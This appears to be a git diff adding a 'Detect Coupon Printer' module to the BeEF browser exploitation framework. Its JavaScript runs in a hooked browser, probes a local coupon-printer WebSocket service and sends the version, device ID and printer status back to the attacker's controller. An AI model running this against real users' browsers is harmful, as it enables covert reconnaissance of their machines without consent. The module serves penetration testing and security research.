diff --git a/modules/host/detect_coupon_printer/command.js b/modules/host/detect_coupon_printer/command.js new file mode 100644 index 000000000..0b215539a --- /dev/null +++ b/modules/host/detect_coupon_printer/command.js @@ -0,0 +1,63 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + if (!beef.browser.hasWebSocket()) { + beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets'); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + } + + //var url = 'ws://127.0.0.1:2687'; + //var url = 'ws://127.0.0.1:26876'; + var url = 'wss://printer.cpnprt.com:4004'; // resolves to 127.0.0.1 + + beef.debug('[Detect Coupon Printer] Opening WebSocket connection: ' + url); + const socket = new WebSocket(url); + + socket.addEventListener('open', function (event) { + + // Get Coupon Printer Service version + socket.send('method=GetVersion;input=Y|;separator=|'); + + // Device ID + socket.send('method=GetDeviceID;input=Y|;separator=|'); + + // Check Printer + socket.send('method=CheckPrinter;input=Y|;separator=|'); + + }); + + socket.onerror = function(error) { + beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error)); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error()); + }; + + socket.onclose = function(event) { + beef.debug('[Detect Coupon Printer] Disconnected from WebSocket.'); + }; + + socket.addEventListener('message', function (event) { + beef.debug('[Detect Coupon Printer] WebSocket Response:' + event.data); + try { + var result = JSON.parse(event.data); + if (result['GetVersion']) { + beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success()); + } else if (result['GetDeviceID']) { + beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success()); + } else if (result['CheckPrinter']) { + beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success()); + } + } catch(e) { + beef.debug('Could not parse WebSocket response JSON: ' + event.data); + } + }); + +}); + diff --git a/modules/host/detect_coupon_printer/config.yaml b/modules/host/detect_coupon_printer/config.yaml new file mode 100644 index 000000000..aa79d1340 --- /dev/null +++ b/modules/host/detect_coupon_printer/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_coupon_printer: + enable: true + category: "Host" + name: "Detect Coupon Printer" + description: "This module attempts to detect Coupon Printer on localhost on the default WebSocket port 4004." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/host/detect_coupon_printer/module.rb b/modules/host/detect_coupon_printer/module.rb new file mode 100644 index 000000000..33d135b22 --- /dev/null +++ b/modules/host/detect_coupon_printer/module.rb @@ -0,0 +1,11 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +class Detect_coupon_printer < BeEF::Core::Command + def post_execute + save({'result' => @datastore['results']}) + end +end